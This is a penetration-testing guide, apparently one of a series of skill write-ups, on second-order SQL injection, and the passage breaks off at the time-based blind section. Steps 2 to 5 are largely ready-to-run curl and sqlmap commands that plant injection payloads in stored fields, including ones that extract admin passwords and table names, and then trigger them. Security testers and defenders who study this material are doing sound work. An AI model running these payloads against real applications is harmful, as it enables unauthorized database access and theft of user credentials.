Performing Second-Order SQL Injection

When to Use

• When first-order SQL injection testing reveals proper input sanitization at storage time
• During penetration testing of applications with user-generated content stored in databases
• When testing multi-step workflows where stored data feeds subsequent database queries
• During assessment of admin panels that display or process user-submitted data
• When evaluating stored procedure execution paths that use previously stored data

Prerequisites

• Burp Suite Professional for request tracking across application flows
• SQLMap with second-order injection support (--second-url flag)
• Understanding of SQL injection fundamentals and blind extraction techniques
• Two or more application functions (one for storing data, another for triggering execution)
• Database error message monitoring or blind technique knowledge
• Multiple user accounts for testing stored data across different contexts

Workflow

Step 1 — Identify Storage and Trigger Points

# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
#    - User registration (username, email, address)
#    - Profile update forms
#    - Comment/review submission
#    - File upload metadata
#    - Order/booking details

# 2. TRIGGER POINTS: Where stored data is used in queries
#    - Admin panels displaying user data
#    - Report generation
#    - Search functionality using stored preferences
#    - Password reset using stored email
#    - Export/download features

# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&email=test@test.com"

Step 2 — Inject Payloads via Storage Points

# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"

# Store injection in profile fields
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# Store injection in address field
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# Store injection in comment/review
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"

Step 3 — Trigger Execution of Stored Payloads

# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"

Step 4 — Use SQLMap for Second-Order Injection

# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&email=test@test.com" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN

Step 5 — Blind Second-Order Extraction

# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# Time-based blind second-order

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